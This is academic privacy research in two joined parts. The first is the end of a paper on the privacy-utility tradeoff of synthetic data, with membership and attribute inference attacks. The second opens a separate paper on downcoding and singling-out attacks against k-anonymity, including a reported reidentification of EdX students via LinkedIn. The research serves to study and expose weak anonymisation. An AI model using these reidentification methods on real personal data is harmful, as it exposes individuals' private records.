tion largely preserves the raw data’s statistics, synthetic
datasets sampled from all models significantly differ from
the raw data. For instance, the empirical mean of attribute
TotalChargesAccomm in raw datasets R sampled from the

population DR ranges between 9K and 11K. In contrast, syn-
thetic data sampled from BayNet models trained on the raw
data produces values ranging from 218K to 232K. The devia-
tion between the raw and synthetic datasets’ characteristics
further increases with decreasing privacy parameter ε and
grows to an error of multiple orders of magnitude.
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Figure 9: Mean (left) and median (right) for at-
tributes TotalCharges, TotalChargesAccomm, and
TotalChargesAncil from the Texas dataset.
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Figure 10: Marginal frequency counts for attribute
RiskMortality from the Texas dataset.

We observe the same trend on the marginal frequency
counts over the categorical attribute RiskMortality, another
common reporting task (see Fig. 10). For instance, publishing
a synthetic dataset sampled from a PrivBay-trained model
in place of the raw data would lead an analyst to overestimate
the relative frequency of category 0 by 3% percentage points
when ε = 10 and up to 15.3% percentage points for ε = 0.1
with a growing variance of the mean error as ε decreases.

These results highlight the risks of synthetic data sharing
outlined in Section 2. Generative models represent a lower-
dimensional approximation of the raw data’s distribution and
only capture a subset of the dataset’s high-dimensional feature
space. Synthetic data sampled from the trained model hence
does not preserve all of the raw data’s statistics and can lead
to a large error on the derived insights. Synthetic data that
accurately reflects the desired statistics would improve utility
but not provide any privacy gain over directly publishing those
aggregates.

No free lunch. In summary, the promising privacy gain of
(differentially private) synthetic data publishing over tradi-
tional sanitisation shown in Fig. 4 comes at a significant cost
in utility. Unsurprisingly, the higher a model’s privacy gain,
the higher its loss in utility. Even models with low theoretical
privacy guarantees (ε > 1) may not provide the expected util-
ity benefits and their utility loss may be prohibitive for many
use cases.

The high utility loss of differentially private models can
partially be explained by their reliance on metadata that needs
to be derived independent of the model’s training set (see
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Figure 11: Absolute distance between the mean of at-
tributes TotalCharges, TotalChargesAccomm, and
TotalChargesAncil in raw and synthetic datasets with

metadata extracted from the raw data (left) and metadata de-
rived independently from the training set (right)

Section 5). This can lead to a significant difference between
the ranges in the raw data and the ones the data holder defines
based on her background knowledge. To optimise the utility
of synthetic datasets, the metadata given as input to the gener-
ative model training must reflect the raw data characteristics
as closely as possible. However, this increases the privacy
leakage of the model and, as we show in Section 5, in the
most extreme case undermines its formal privacy guarantees.

We demonstrate this tradeoff in Fig. 11 and Fig. 12. Fig. 11
compares the absolute distance between the mean of three
attributes in the raw data to the corresponding mean value in
synthetic datasets sampled from models trained given differ-
ent metadata as input. On the left, all models were given the
exact ranges of attributes in the raw data sample. On the right,
models used metadata learned from an independent popula-
tion sample (see Section 5 for more details). In the case where
the model directly learns all metadata from its raw input data
(left), the utility loss of (differentially private) synthetic data
is substantially reduced. For instance, the average distance
between the mean of attribute TotalChargesAccomm in
the raw and synthetic data shrinks from 215K for a BayNet
model trained with fixed ranges to 9K for a model based
on metadata tailored to its training set. The error of differ-
entially private models similarly decreases (from 621K to
34K for PrivBay ε : 10) and with increasing ε values con-
verges to its non-private version. Despite this improvement
the utility loss of all differentially private models we tested
still remains far above that of non-private synthetic data gen-
eration or traditional sanitisation. On the downside, as we
show in Fig. 12 (left metadata tailored to training set, right
metadata derived from an independent population sample),
the utility gain achieved through better metadata leads to a
large loss in privacy. When the model’s metadata is derived
from the raw data, even models with low data utility provide
close to no protection against linkage attacks (PG≤ 0.35 for
three out of five targets tested across all ε values). Models
that due to the use of metadata derived from an independent
population sample result in a high privacy gain unfortunately
do not provide sufficient data utility (see Fig. 11).
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Figure 12: Per-record privacy gain for five outlier target
records from the Texas dataset under an attack using the
FNaive feature set with metadata extracted from the raw data
(left) and metadata derived independently from the training
set (right)

6.3.2 Per-record utility loss

In the previous section, we show that for use cases that aim to
derive aggregate insights from sensitive datasets generative
models with a high privacy gain suffer from low data utility.
However, average population metrics are not the main selling
point of synthetic data. Synthetic data is often advertised as
a solution for analysis tasks focused on more fine-grained
statistical patterns that requires access to row-level data, in
particular, the analysis of rare events and minority population
subgroups. We hence now study whether synthetic data allows
data holders to share datasets that retain the signal of outlier
records without risking their privacy.

To study this relationship between privacy gain and utility
loss, we slightly abuse the notion of advantage and formalise
our utility metric as an advantage measure. This formalisation
allows us to quantify the positive impact that the presence
of a single target record in the training set has on a model’s
performance for individual test records. We define a utility
game, shown in Fig. 13, played between an analyst A and
a challenger C . The analyst’s goal is to train a predictive
model h(·) on a dataset X published by the challenger that
performs well on a chosen test record rrre from the population
RTest . The analyst chooses this test record and a target record
rrrt from the training population RTrain. The analyst sends
rrrt to the challenger, who follows the same procedure as in
the linkability game and sends back the public bit b and the
chosen dataset X . The analyst trains a model on dataset X
and uses it to predict the test record’s label ŷe← hX (r̃rre). The
analyst wins the game if ye = ŷe.

Based on this game, we define the advantage that adding a
record rrrt to the dataset R gives to record rrre as

AdvU(X ,rrre,rrrt), P [ŷe = ye|st = 1]−P [ŷe = ye|st = 0] (6)

where ŷe = hX (r̃rre) is the label produced by a predictive
model trained on data X for test record rrre = (r̃rre,ye) chosen
by the analyst with feature set r̃rre and label ye; and st indicates
the presence of target record rrrt in the raw dataset R.

To empirically evaluate the utility loss of synthetic data
publishing, we use the same split of the Texas dataset as
in the previous section. We ensured that the outlier targets
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A(RTest) C (RTrain)

# Pick target & test

1 : rrrt ∈ RTrain, rrre ∈ RTest rrrt
2 : # Sample raw

3 : R∼Dn−1
R

4 : # Draw secret bit

st ∼ {0,1}
5 : If st = 0 :

# Add random record

6 : rrri ∼DR \rrrt

7 : R← R∪ rrri

8 : If st = 1 :

# Add target

9 : R← R∪ rrrt

# Train model

10 : g(R)∼ GM(R)

# Sample synthetic

11 : S∼Dm
g(R)

# Draw public bit

12 : b∼ {0,1}
13 : if b = 0 : X ← R

14 : elif b = 1 : X ← S
15 : X ,b

# Train model

16 : hX (·)∼ PM(X)

17 : # Make guess

18 : ŷe← hX (r̃rre)

Figure 13: Utility game

used in previous experiments were included in the population
RTrain and re-used them as target records rrrt . We manually
chose five test records in RTest that are semantically similar
to those five target records. For instance, we selected records
with rare categorical attribute values or continuous attributes
outside the test population’s 95% quantile.

Privacy through suppression. We repeatedly ran the utility
game and computed the utility advantage for each of the target-
test record pairs. We show in Fig. 14 the utility advantage for a
prediction task on attribute RiskMortality for two different
dataset sizes (n = 1000 left and n = 5000 right). The colour
of each bar indicates the target record rrrt chosen by A and
bars are grouped by test record rrre along the x-axis. For the
differentially private models, we present data for a PrivBay
model trained with ε= 1.0, the highest ε value under which all
targets still receive robust protection against linkage attacks.

Independent of a model’s training set size, sanitised datasets
tend to reproduce patterns found in the raw data. If a target’s
presence in the raw data has a significant (negative or positive)
impact on a test record’s prediction accuracy, this advantage
is retained in the sanitised data. Synthetic data sampled from

either model (BayNet and PrivBay ε : 1.0) exhibits entirely
different results. For instance, the presence of target record

in the raw training data leads to a negative prediction ad-
vantage with |AdvU | ≥ 0.3 for four out of the five test records
with n = 1000 (Fig. 14 left). The same holds true when the
classifier is trained on data produced by San. With training
on synthetic data produced by BayNet and PrivBay, the test
records’ advantage from the target’s presence vanishes (maxi-
mum advantage of |AdvU | ≤ 0.15 and AdvU | ≤ 0.06).

This indicates that while row-level sanitisation preserves
the statistical signals of outliers, and their potential positive
impact on the prediction accuracy of similar test records,
synthetic data produced by the two models evaluated here
does not retain the targets’ unique influence. In the case of
PrivBay, this is expected: The model’s differential privacy
guarantee ensures that the addition of a single record to its
training set does not affect the model’s output distribution by
more than the defined ε-bound. This is also reflected in the
increased privacy gain of these targets under PrivBay ε : 1.0
compared to San shown in Fig. 4. Our utility evaluation re-
veals that this gain in privacy does not come for free. As an
example, the target marked receives a low gain in privacy
from sanitised data publishing with PG≤ 0.3 under all three
feature sets. Accordingly, the high positive impact the target’s
presence in the raw data has on test record ID2 (AdvU = 0.19
shown in Fig. 14) is preserved under sanitisation. Synthetic
data sampled from PrivBay ε : 1.0 increases the target’s pri-
vacy gain to PG≥ 0.77 but simultaneously reduces the test
record’s advantage to AdvU = 0.02. The same patterns can
be found for other target records and dataset sizes.

Conclusions. The inherent tradeoff between the privacy and
utility of high-dimensional data releases has been shown many
times [31, 43, 51]. We present empirical evidence that syn-
thetic data publishing is subject to the same limitations, and
might even provide less beneficial tradeoffs. Synthetic data
that protects outliers from linkage attacks does so at a cost
in utility for test records from similar minority subgroups.
Differentially private data releases provide more robust pro-
tection, but inadvertently suppress the statistical signal of the
protected records. This decreases the utility of the released
data and prevents statistical models from learning patterns
about certain target groups, potentially increasing the bias and
unfairness of data-driven decision making [4, 9].

7 Key takeaways

Synthetic data is portrayed as a silver-bullet solution to
privacy-preserving data sharing that provides a higher gain in
privacy at a lower cost in utility than traditional anonymisa-
tion techniques [2, 5, 10, 16, 66–68]. In this paper, we quan-
titatively assess this claim and demonstrate that it rarely
holds true. The basic tradeoff between utility and privacy
for high-dimensional data sharing that has been shown many
times [7, 31, 43, 51] remains. If a synthetic dataset preserves
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Figure 14: Utility advantage for 5 test (indicated on the x-axis)
and 5 target (indicated by the colour of each bar) record pairs
for predictions on attribute RiskMortality from the Texas
dataset for n = 1000 (left) and n = 5000( right)

the characteristics of the original data with high accuracy, and
hence retains utility for the use cases it is advertised for, it
simultaneously enables adversaries to extract sensitive infor-
mation about individuals. A high gain in privacy through any
of the anonymisation mechanisms we evaluated here can only
be achieved if the published synthetic or sanitised version of
the raw data does not carry through the signal of individual
records and in effect suppresses their record.

Our findings not only show that synthetic data is subject
to the same tradeoffs as previous anonymisation techniques,
but also demonstrate that the privacy gain of synthetic data
publishing is highly unpredictable. Because it is not possible
to predict which data features a generative model will pre-
serve, it is neither possible to anticipate the minimum gain in
privacy from synthetic data publishing nor its utility loss. In
comparison to deterministic sanitisation techniques, synthetic
data does not allow data holders to provide transparency about
what information will be omitted in the published dataset and
what information will be retained.

We conclude that synthetic data does not provide a better
tradeoff between privacy and utility than traditional row-level
sanitisation, especially for data use cases that focus on the
analysis of outlier signals, such as financial fraud or medical
anomaly detection [40, 63]. Generative models with formal
privacy guarantees reduce private information leakage with
respect to anonymisation but do not preserve the fine-grained
statistical patterns needed for outlier analysis. Our evaluation
further shows that, even for use cases that focus on aggregate
insights, synthetic datasets with a high privacy gain can suffer

from a significant utility loss and can lead to false conclusions.
Even synthetic datasets that do preserve the desired statistics
still present a noisier summary of the data than traditional
privacy-preserving query release mechanisms [17] due to
the additional uncertainty introduced by the output sampling
process.
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8 Appendix
8.1 Framework implementation
We implemented the evaluation framework as a
Python library [75]. The library has two main classes:
GenerativeModels and PrivacyAttacks. For both classes
we define a parent class that determines the core functionality
that objects of the class need to implement.
GenerativeModel provides two main functions. GM.fit()
is called with a raw dataset R as input and implements
the model’s training procedure. GM.sample(m) generates a
synthetic dataset S of size m corresponding to S∼Dm

g(R). The
library enables easy integration of existing model training
procedures. GM.fit() simply wraps any existing training
algorithm and exposes the appropriate API endpoints.
PrivacyAttack objects have two functions: PA.train
and PA.attack. PA.train(rrrt,BK) trains the attack for
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Table 1: Generative Model Hyperparameters

IndHist BayNet PrivBay

nbins nbins degree nbins degree

Adult 45 45 1 45 1
Texas 25 25 1 25 1

CTGAN

embeddings gen_dim dis_dim l2scale

Adult 128 (256,256) (256,256) 10−6

Texas 128 (256,256) (256,256) 10−6

a specific target record rrrt on background knowledge
BK. PA.attack(S), takes a dataset S and outputs a guess
about a secret value. In our implementation, we instantiate
PrivacyAttack with two attacks, a membership inference
adversary and an attribute inference attack. The library also
includes procedures to estimate the privacy gain of synthetic
and sanitised data publishing.
Generative model and feature set parametrisation. We in-
tegrated five existing models into our Python library. Each of
the models has a set of model hyper-parameters that can be
adjusted to fit the input data. In Table 1 we list the parameter
values for each model and dataset used in our experiments.

We implement the adversary’s feature sets as feature ex-
traction objects FeatureSet. Each FeatureSet takes in a
synthetic dataset S of size m× k and outputs a vector of size
l×1. Our library includes the following feature sets:
FNaive. The naive feature set computes the mean, median, and
variance of each numerical attribute and encodes the number
of distinct categories plus the most and least frequent category
for each categorical attribute.
FHist. The histogram feature set computes the marginal distri-
bution of each data attribute. Numerical attributes are binned
with configurable bin size and frequency counts are computed
for categorical attributes. The number of bins per attribute
is configured for each dataset independently. In our experi-
ments, we set the number of bins to 45 and 25 for the Adult
and Texas dataset, respectively.
FCorr. The correlations feature set encodes pairwise attribute
correlations. Categorical attributes are dummy-encoded be-
fore computing the pairwise correlation matrix. The FHist
and FCorr feature sets include a pre-processing step in which
continuous columns are binned. The number of bins is a con-
figurable parameter that can be adjusted to fit the input data.
In our experiments, we set the number of bins to 45 and 25
for the Adult and Texas dataset, respectively.

8.2 Datasets
We include two tabular datasets, commonly used in the ma-
chine learning (ML) literature, in our experimental evaluation.
Tabular datasets are the most relevant data type in the syn-
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Figure 15: Per-record privacy gain for five outlier records for
the Texas dataset under an attack using the FNaive feature set.

thetic data publishing case. One datasets contains financial
data the other one health data:
Adult [34]. The Adult dataset contains information from
45,222 individuals extracted from the 1994 US Census
database. Each entry consists of 15 attributes among which 6
are continuous attributes and 9 are categorical attributes.
Texas [60]. The Texas Hospital Discharge dataset is a large
public use data file provided by the Texas Department of
State Health Services. The dataset we use consists of 50,000
records uniformly sampled from a pre-processed data file that
contains patient records from the year 2013. We retain 18
data attributes of which 11 are categorical and 7 continuous.

8.3 Attribute inference
We formalise the risk of attribute inference as a prediction
problem in which an attacker learns to predict the value of
an unknown sensitive attribute from a set of known attributes
given access to a raw, sanitised, or synthetic dataset which we
denote as X . The adversary splits the dataset X into two parts:
A feature matrix X̃ that contains the values for all attributes
known to the adversary and a vector xxxs with the corresponding
sensitive attribute values.

If the attribute targeted by the attack is a continuous, real-
valued attribute rs ∈ R, we model attribute inference as a
linear regression problem. The linear regression attack mod-
els the relationship between the sensitive attribute values in
xxxs and the attributes in X̃ as a a linear relationship with coeffi-
cients wX , and treats the records in X as i.i.d. samples:

xxxs = X̃wX + ε, εi ∼N
(
0,σ2) , (7)

During training, the adversary takes the dataset X , splits
it into a feature matrix X̃ and target variable xxxs, and uses
maximum likelihood estimation to obtain a set of regression
coefficients wX = maxw P

[
xxxs|X̃ ,w

]
.

The simplicity of the model enables us to analytically de-
rive the attacker’s posterior distribution over the target’s secret
given access to dataset X P [r̂s|X , r̃rrt ] = N

[
r̃rrtwX , σ̂

2
X
]
, with

variance σ̂2
X = 1

n−(k−1) ∑
n
i=1
(
xi

s− x̃xxiwX
)2.

8.4 Privacy-utility tradeoff
Fig. 15 shows the privacy gain for five outlier targets from the
Texas dataset for varying dataset sizes.
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Attacks on Deidentification’s Defenses
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Abstract
Quasi-identifier-based deidentification techniques (QI-
deidentification) are widely used in practice, including
k-anonymity, `-diversity, and t-closeness. We present three
new attacks on QI-deidentification: two theoretical attacks
and one practical attack on a real dataset. In contrast to prior
work, our theoretical attacks work even if every attribute is a
quasi-identifier. Hence, they apply to k-anonymity, `-diversity,
t-closeness, and most other QI-deidentification techniques.

First, we introduce a new class of privacy attacks called
downcoding attacks, and prove that every QI-deidentification
scheme is vulnerable to downcoding attacks if it is minimal
and hierarchical. Second, we convert the downcoding attacks
into powerful predicate singling-out (PSO) attacks, which
were recently proposed as a way to demonstrate that a privacy
mechanism fails to legally anonymize under Europe’s General
Data Protection Regulation. Third, we use LinkedIn.com to
reidentify 3 students in a k-anonymized dataset published by
EdX (and show thousands are potentially vulnerable), under-
mining EdX’s claimed compliance with the Family Educa-
tional Rights and Privacy Act.

The significance of this work is both scientific and political.
Our theoretical attacks demonstrate that QI-deidentification
may offer no protection even if every attribute is treated as a
quasi-identifier. Our practical attack demonstrates that even
deidentification experts acting in accordance with strict pri-
vacy regulations fail to prevent real-world reidentification. To-
gether, they rebut a foundational tenet of QI-deidentification
and challenge the actual arguments made to justify the con-
tinued use of k-anonymity and other QI-deidentification tech-
niques.

∗We thank Kobbi Nissim for many helpful discussions; Ryan Sullivan for
early discussions on EdX; and Gabe Kaptchuk, anonymous reviewers, and
especially Mayank Varia for generous feedback. This work was primarily
done at Boston University’s Hariri Institute of Computing and School of Law.
This work was supported by the DARPA SIEVE program under Agreement
No. HR00112020021 and the National Science Foundation under Grant Nos.
CNS-1915763 and SaTC-1414119. Any opinions, findings, and conclusions
or recommendations expressed in this material are those of the author and do
not reflect the views of our funders.

1 Introduction

Quasi-identifier-based deidentification (QI-deidentification)
is widely used in practice. The most well known QI-
deidentification techniques are is k-anonymity [26]. Through-
out this work we usually speak about k-anonymity specifically,
but everything applies without modification to `-diversity [18],
t-closeness [17], and many other QI-deidentification refine-
ments.

A relatively small number of data points suffice to distin-
guish individuals from the general population. For example,
in the 2010 census 44% of the population was unique based
only on census block, age, and sex [1]. Turning this insight
into a privacy notion, k-anonymity aims to capture a sort of
anonymity of a crowd.

A data release is k-anonymous if any individual row in the
release cannot be distinguished from k−1 other individuals
in the release using certain attributes called quasi-identifiers.
Quasi-identifiers are sets of attributes that are potentially avail-
able to an attacker from other sources, combinations of which
may uniquely distinguish an individual within the dataset. k-
anonymity requires that the equivalence class of every record—
the set of records with identical quasi-identifiers—is of size
at least k ≥ 2. A common choice for k is 5.1 `-diversity, t-
closeness, and many QI-deidentification techniques refine
k-anonymity in the sense that they collapse to k-anonymity
when every attribute is treated as a quasi-identifier (Sec. 2.1).

Real world reidentification attacks, including on the Net-
flix and AOL datasets [4, 20], led to a policy debate about
the QI-deidentification. Critics argued that the distinction
between quasi-identifying attributes and other attributes—
foundational to the whole approach—was untenable [21, 22].
Defenders argued that deidentification experts are good at
determining what information is externally available [5, 6].

1For example, U.S. Department of Education’s FAQ on disclosure avoid-
ance states that “statisticians consider a cell size of 3 to be the absolute
minimum although larger minimums (e.g., 5 or 10) may be used to further mit-
igate disclosure risk” (https://studentprivacy.ed.gov/resources/
frequently-asked-questions-disclosure-avoidance). Based on
this language, EdX chose k = 5.
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The debate left unspoken and unexamined the core tenet of
QI-deidentification: that if every attribute is treated as a quasi-
identifier, then k-anonymity provides meaningful protection.
Our work is the first to directly challenge that tenet.

Motivation Why bother attacking QI-deidentification? Af-
ter all, the security and privacy research communities don’t put
much stock in these techniques. For example, it is well known
that contrived mechanisms can formally satisfy k-anonymity
but provide no protection. Even so, many policymakers and
practitioners are convinced that QI-deidentification is effec-
tive in the real world.

Our goal in this paper is to rebut the actual arguments that
QI-deidentification practioners use to justify its continued
use. We rebut three arguments that—until this work—have
gone unchallenged. First, that no attacks have been shown
against datasets deidentified by experts and in accordance
with strict privacy regulations, let alone simple attacks. Sec-
ond, that k-anonymity provides meaningful protection when
every attribute is a quasi-identifier. Third, that although QI-
deidentification doesn’t meet cryptographic standards of se-
curity, it suffices to meet the obligations in data protection
regulation. We briefly elaborate these three arguments next.

Rhetorically, trust in QI-deidentification hinges on the
wholesale dismissal of existing attacks as unconvincing. Prac-
titioners dismiss many attacked datasets as “improperly de-
identified” [6]. “Proper de-identification” must be done by a
“statistical expert” and in accordance with procedures out-
lined in regulation [12], the increasing availability of QI-
deidentification software notwithstanding. This argument has
proven very effective in policy spheres. Moreover, practition-
ers dismiss attacks carried out by privacy researchers because
they are privacy researchers. That these attacks are published
in “research based articles within the highly specialized field
of computer science” is used to argue that re-identification
requires a “highly skilled ‘expert’ ” and therefore is of little
concern [5].

Technically, trust in QI-deidentification hinges on an un-
spoken, unexamined tenet:

QI-deidentification’s tenet: If every attribute is
treated as quasi-identifying, then k-anonymity pro-
vides meaningful protection.

Treating every attribute as quasi-identifying defines away
one major critique of QI-deidentification—namely, that the
ex ante categorization of attributes as quasi-identifying or
not is untenable and reckless. Moreover, when all attributes
are quasi-identifying, the distinctions among k-anonymity, `-
diversity, and t-closeness collapse (Section 2.1). Prior attacks
against k-anonymity fail in this setting.

Legally, the use of QI-deidentification hinges on the gap be-
tween the protection required by regulation and the protection
desired by the academic research community. Practitioners
claim only that QI-deidentification meets regulatory standards,

not security researchers’ stringent standards. For example,
cryptographic security definitions typically make no assump-
tions about the techniques or auxiliary knowledge available to
an adversary. However, the European Union’s General Data
Protection Regulation (GDPR) restricts the adversary’s tech-
niques by protecting only against “means reasonably likely to
be used” by an attacker.2 Likewise, the United State’s Family
Educational Rights and Privacy Act (FERPA) restricts the
adversary’s knowledge by protecting only against an attacker
lacking “personal knowledge of the relevant circumstances.”3

Contributions We present three attacks on QI-
deidentification schemes: two theoretical attacks and
one real world reidentification attack. Together, these attacks
undermine the above justifications for the continued use of
QI-deidentification.

First, we introduce a new class of privacy attack called
downcoding, which recovers large fractions of the data hid-
den by QI-deidentification without any auxiliary knowledge.
In short, downcoding undoes hierarchical generalization. A
downcoding attack takes as input a dataset generalized and
recovers some fraction of the generalized data. We call this
downcoding as it corresponds to recoding records down a
generalization hierarchy.

We prove that every QI-deidentification scheme is vul-
nerable to downcoding attacks if it is minimal and hier-
archical. QI-deidentification is hierarchical if it works by
generalizing attributes according to a fixed hierarchy (e.g.,
city→country→continent). QI-deidentification is minimal if
no record is generalized more than necessary to achieve the
privacy requirement, in a weak, local sense. Our downcod-
ing attacks are powered by a simple observation: minimality
leaks information. Figures 1 and 2 give simple examples of
downcoding and of leakage from minimality, respectively.

Second, we convert our downcoding attacks into power-
ful predicate singling-out (PSO) attacks. PSO attacks were
recently proposed as a way to demonstrate that a privacy
mechanism fails to legally anonymize under the GDPR [2, 7].
We introduce a stronger type of PSO attack called com-
pound PSO attacks and prove that minimal hierarchical QI-
deidentification enables compound PSO attacks, greatly im-
proving over the prior work.

Our downcoding and PSO attacks are the first attacks on
QI-deidentification that work even when every attribute is a
quasi-identifier. As such, they apply to QI-deidentification
beyond k-anonymity, and refute the foundational tenet of QI-
deidentification.

Third, we used LinkedIn.com to reidentify 3 students in a
k-anonymized dataset published by Harvard and MIT from
their online learning platform EdX. Despite being “prop-
erly” k-anonymized by “statistical experts” in accordance

2GDPR, Article 4
334 CFR §99.3
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with FERPA, we show that thousands more students are po-
tentially vulnerable to reidentification and disclosure.

Not only do these attacks rebut the arguments described
above, they also show that QI-deidentification fails to sat-
isfy three properties of a worthwhile measure of privacy of a
computation, even without resorting to contrived mechanisms.
Namely, we show that QI-deidentification mechanisms used
in practice aren’t robust to post-processing, do not compose,
and rely on distributional assumptions on the data for their
security.

Organization Section 2 discusses related work. Section 3
introduces notation and defines k-anonymity, along with
hierarchical and minimal k-anonymity. Section 4 defines
downcoding attacks and proves that minimal hierarchical k-
anonymous mechanisms enable them. Section 5 defines com-
pound predicate singling-out attacks and proves that minimal
hierarchical k-anonymous mechanisms enable them. Section 6
describes the EdX dataset and shows that it is vulnerable to
reidentification. Section 7 concludes that our attacks rebut the
three core arguments that support the continued use of QI-
deidentification in practice. The appendix includes additional
details and proofs.

2 Related Work

Samarati and Sweeney proposed k-anonymity for statisti-
cal disclosure limitation in 1998 [25–27]. As new attacks
were discovered, k-anonymity gave rise to more refined QI-
deidentification techniques including `-diversity, t-closeness,
and many others (below).

Samarati was the first to study minimality for k-anonymity
[25]. Our downcoding attacks build on prior work on minimal-
ity attacks [8, 28]. These works demonstrate that minimality
can be used to infer sensitive attributes and violate `-diversity,
but not k-anonymity. They introduce two defenses against
their attacks. One is yet another refinement of k-anonymity
called m-confidentiality [28]. The second claims that cer-
tain anonymization algorithms offer protection for free (i.e.,
“methods which only inspect the QI attributes to determine
the [equivalence classes]”) [8]. In contrast, we use minimality
to downcode, a new attack that violates k-anonymity itself
and that defeats both defenses from prior work.

Predicate singling-out (PSO) attacks were recently intro-
duced in the context of data anonymization under Europe’s
General Data Protection Regulation (GDPR) [7]. They were
proposed as a mathematical test to show that a privacy mech-
anism fails to legally anonymize data under Europe’s General
Data Protection Regulation (GDPR) [2, 7]. The prior work
gives a simple but weak PSO attack against a large class of k-
anonymous mechanisms. We give much stronger PSO attacks
against a restricted class of k-anonymous mechanisms.

Prior work shows that k-anonymity does not compose: mul-
tiple k-anonymous datasets can completely violate privacy
when combined [13]. We show for the first time that compo-
sition failures can occur in real world uses of k-anonymity.

Differential privacy (DP) [11] presents one alternative to
QI-deidentification, especially DP synthetic data [16] or local
DP [10]. Switching to DP requires accepting that the resulting
data will not provide the one-to-one correspondence with un-
derlying records that makes QI-deidentification so attractive
to users and laypeople.

2.1 Syntactic de-identification beyond k-
anonymity

We reviewed the deidentification definitions included in the
most comprehensive survey we could find [14]. Our downcod-
ing attacks apply to any refinement of k-anonymity: namely,
any definition that collapses to k-anonymity when every at-
tribute is quasi-identifying. These include:

• k-anonymity and variants: km-, (α,k)-, p-sensitive-,
(k, p,q,r)-, and (ε,m)-anonymity
• `-diversity and variants: entropy-, recursive-, disclosure-

recursive, multi-attribute-, `+-, and (c, `)-diversity
• t-closeness and variant (n, t)-closeness
• m-invariance, m-confidentiality

Our downcoding attacks don’t apply to Anatomy (which
doesn’t generalize quasi-identifiers at all) or differential pri-
vacy (which eschews the quasi-identifier framework all to-
gether). We have not determined whether the following defi-
nitions – which bound some posterior probability given the
deidentified dataset – refine k-anonymity in the relevant sense:
δ-presence, ε-privacy, skyline privacy, (ρ1,ρ2)-privacy, (c,k)-
safety, and ρ-uncertainty.

We leave testing our downcoding attacks on actual dei-
dentification software packages for future work. Free to use
software packages include ARX Anonymization, µ-Argus,
sdcMicro, University of Texas Toolkit, Amnesia, Anonima-
tron, Python Mondrian. All but Python Mondrian implement
hierarchical algorithms. ARX Anonymization, sdcMicro, and
Amenesia offer some version of local recoding (footnote 5).
To the best of our knowledge, none guarantee minimality.

3 Preliminaries

3.1 Notation
Generally, fixed parameters are denoted by capital letters (e.g.,
number of dimensions D) and indices use the corresponding
lowercase letter (e.g., d = 1, . . . ,D). For a,b ∈ N, let [a,b] =
{a,a+1, . . . ,b} and [b] = [1,b].

UD is a D-dimensional data universe, where U is the at-
tribute domain. For simplicity we take all attribute domains
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X =

ZIP Income COVID

91010 $125k Yes
91011 $105k No
91012 $80k No
20037 $50k No
20037 $20k No
20037 $25k Yes

Y =

ZIP Income COVID

9101? $75–150k ?
9101? $75–150k ?
9101? $75–150k ?
20037 $0–75k ?
20037 $0–75k ?
20037 $0–75k ?

Z =

ZIP Income COVID

91010 $125–150k ?
9101? $100–125k ?
9101? $75–150k ?
20037 $0–75k No
20037 $0–75k ?
20037 $25k Yes

Figure 1: An example of downcoding. Y is a minimal hierarchical 3-anonymized version of X (treating every attribute as part
of the quasi-identifier and leaving the generalization hierarchy implicit). Z is a downcoding of Y: it generalizes X and strictly
refines Y.

Old Rich

1 1
0 0
1 0
0 0

Old Rich

F1 F5

F2 F6

F3 0
F4 0

Old Rich

1 F7

0 0
1 F8

0 0

Figure 2: An example of minimality and inferences from
minimality. Attributes are binary and F= {0,1}. The middle
and right datasets are both minimal hierarchical 2-anonymous
versions of the left dataset with respect to Q = {Old, Rich}.
The right dataset is also globally optimal: it generalizes as
few attributes as possible. Minimality implies that every pair
of redacted entries in the same column in matching rows
must contain both a 0 and 1. Hence, {F1,F2}= {F3,F4}=
{F5,F6}= {F7,F8}= {0,1}, allowing downcoding. Only
one bit of information does not follow directly from minimal-
ity of the middle table: whether or not F1 =F5.

to be identical, though in reality they are usually distinct (e.g.,
the EdX dataset).

A record x = (x1, . . . ,xD) is an element of the data uni-
verse. A generalized record y, denoted (y1, . . . ,yD), is a sub-
set of the data universe specified by the Cartesian product
y1 × ·· · × yD, where yd ⊆ U for every d ∈ [D]. Note that
a record x naturally corresponds to the generalized record
({x1}, . . . ,{xD}), a singleton. We say y generalizes x if x ∈ y
(i.e., ∀d, xd ∈ yd). For example, y = (Female,1970–1975)
generalizes x = (Female,1972). For generalized records
z⊆ y, we say that y generalizes z and z refines y. If z ( y, the
generalization/refinement is strict.

A dataset X is an N-tuple of records (x1, . . . ,xN). X can
be viewed as a matrix with Xn,d the dth coordinate of xn. A
generalized dataset Y is an N-tuple of generalized records
(y1, . . . ,yN). For (generalized) datasets Y,Z, we write Z� Y
if zn ⊆ yn for all n. We extend the meaning of generalization
and refinement accordingly. We write Z≺Y when at least one
containment is strict. We call yn the record in Y corresponding
to zn, and vice-versa. Note that� is a partial order on datasets
of N records from a given data universe.4

4More generally, we could consider datasets whose rows are permuted rel-

3.2 k-anonymity

Formally, Y is k-anonymous if any individual row in the
release cannot be distinguished from k− 1 other individu-
als [26]. This requirement is typically parameterized by a
subset Q of the attribute domains Q ⊆ {Ud}d∈[D] called a
quasi-identifier. We denote by y(Q) the restriction of y to Q.
For Y = (y1, . . . ,yN), we denote by I(Y,y,Q), {n : yn(Q) =
y(Q)} the indices of records in Y that match y on Q (includ-
ing y itself). Let EA(Y,y,Q) = |I(Y,y,Q)|. This is called the
effective anonymity of y in Y with respect to Q.

Definition 3.1 (k-anonymity). For k ≥ 2, Y is k-anonymous
with respect to Q if for all y ∈ Y, EA(Y,y,Q)≥ k. An algo-
rithm M : X 7→ Y is k-anonymizer if for every X, Y←M(X)
is k-anonymous (anonymity) and generalizes X (correctness).
We omit Q when Q = UD is the whole data universe.

A few remarks are in order. First, beyond correctness and
anonymity, k-anonymity places no restriction on the output
Y. Second, the term quasi-identifier is inconsistently defined
in the literature. Our definition of a quasi-identifier as the
collection of multiple attributes is from Sweeney [27]. Quasi-
identifier is commonly used to refer to one of the constituent
attributes—including by the authors of the EdX dataset [19].
So each [27]-quasi-identifier consists of multiple [19]-quasi-
identifers. We adopt the quasi-identifier-as-a-set definition
because it simplifies the discussion of the EdX dataset in
Section 6. The distinction disappears in Sections 4 and 5: our
downcoding and PSO attacks work even when every attribute
is part of the quasi-identifier (i.e., Q = UD).

3.2.1 Hierarchical k-anonymity

It is easy to contrive k-anonymizers that reveal X completely.
Directing our attention to more natural and widespread mech-
anisms, we focus on hierarchical k-anonymizers.

ative to one another. Define Z�Y if there exists a permutation π : [N]→ [N]
such that zn ⊆ yπ(n) for all n, choosing some canonical π arbitrarily if more
than one exists. Then � is a partial order over equivalence classes of datasets
induced by Y∼Y′ ⇐⇒ ∃π ∀n yn = y′

π(n). We omit this additional complex-
ity for clarity. We believe all our results would hold, mutatis mutandis.
